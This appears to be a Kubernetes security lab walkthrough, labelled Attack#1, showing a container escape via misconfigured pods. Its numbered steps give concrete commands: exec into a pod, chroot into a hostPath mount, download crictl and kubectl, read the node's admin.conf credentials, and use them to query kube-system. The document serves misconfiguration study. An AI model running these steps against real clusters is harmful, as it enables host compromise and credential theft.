Attack#1 Container escape to host system (exec into container → hostPath mount → access Kubernetes API server

Related configurations: [Attack#1.json](https://drive.google.com/open?id=1Nv3-67co-KfVSrca1CofDdSzjcg_H2tj)

1. Apply all insecure configs in Attack#1.json.
2. kubectl exec -it checkoutservice- -n default -- sh
3. The attacker can access the underlying host with pod misconfiguration **#1-6**, and the attacker can access to the host system with mounted file system path **#6 and #7**.
   1. Using `ls -la` find /host-system
4. The attacker can exploit privileged securityContext to use root permission(**#3 and #4**) to install crictl and kubectl tool from the container for misconfiguration **#3**
   1. Install crictl
      1. chroot /host-system bash
      2. wget https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.27.1/crictl-v1.27.1-linux-amd64.tar.gz -O /tmp/crictl-v1.27.1.tar.gz
      3. tar -xvf /tmp/crictl-v1.27.1.tar.gz -C /tmp/
   2. Install kubectl
      1. wget https://dl.k8s.io/release/$(curl -L -s <https://dl.k8s.io/release/stable.txt>)/bin/linux/amd64/kubectl
      2. chmod +x kubectl
      3. mv kubectl /usr/local/bin/
5. The attacker can use `crictl pods` command to access all the host system resources like docker containers, configurations, etc.
   1. 
6. The attacker leverages over-privileged role **#8** to access all cluster-wide resources
   1. cat /etc/kubernetes/admin.conf (The Kubernetes node configuration can be found at the default path, which is used by the node level kubelet to talk to the Kubernetes API Server.
   2. kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system 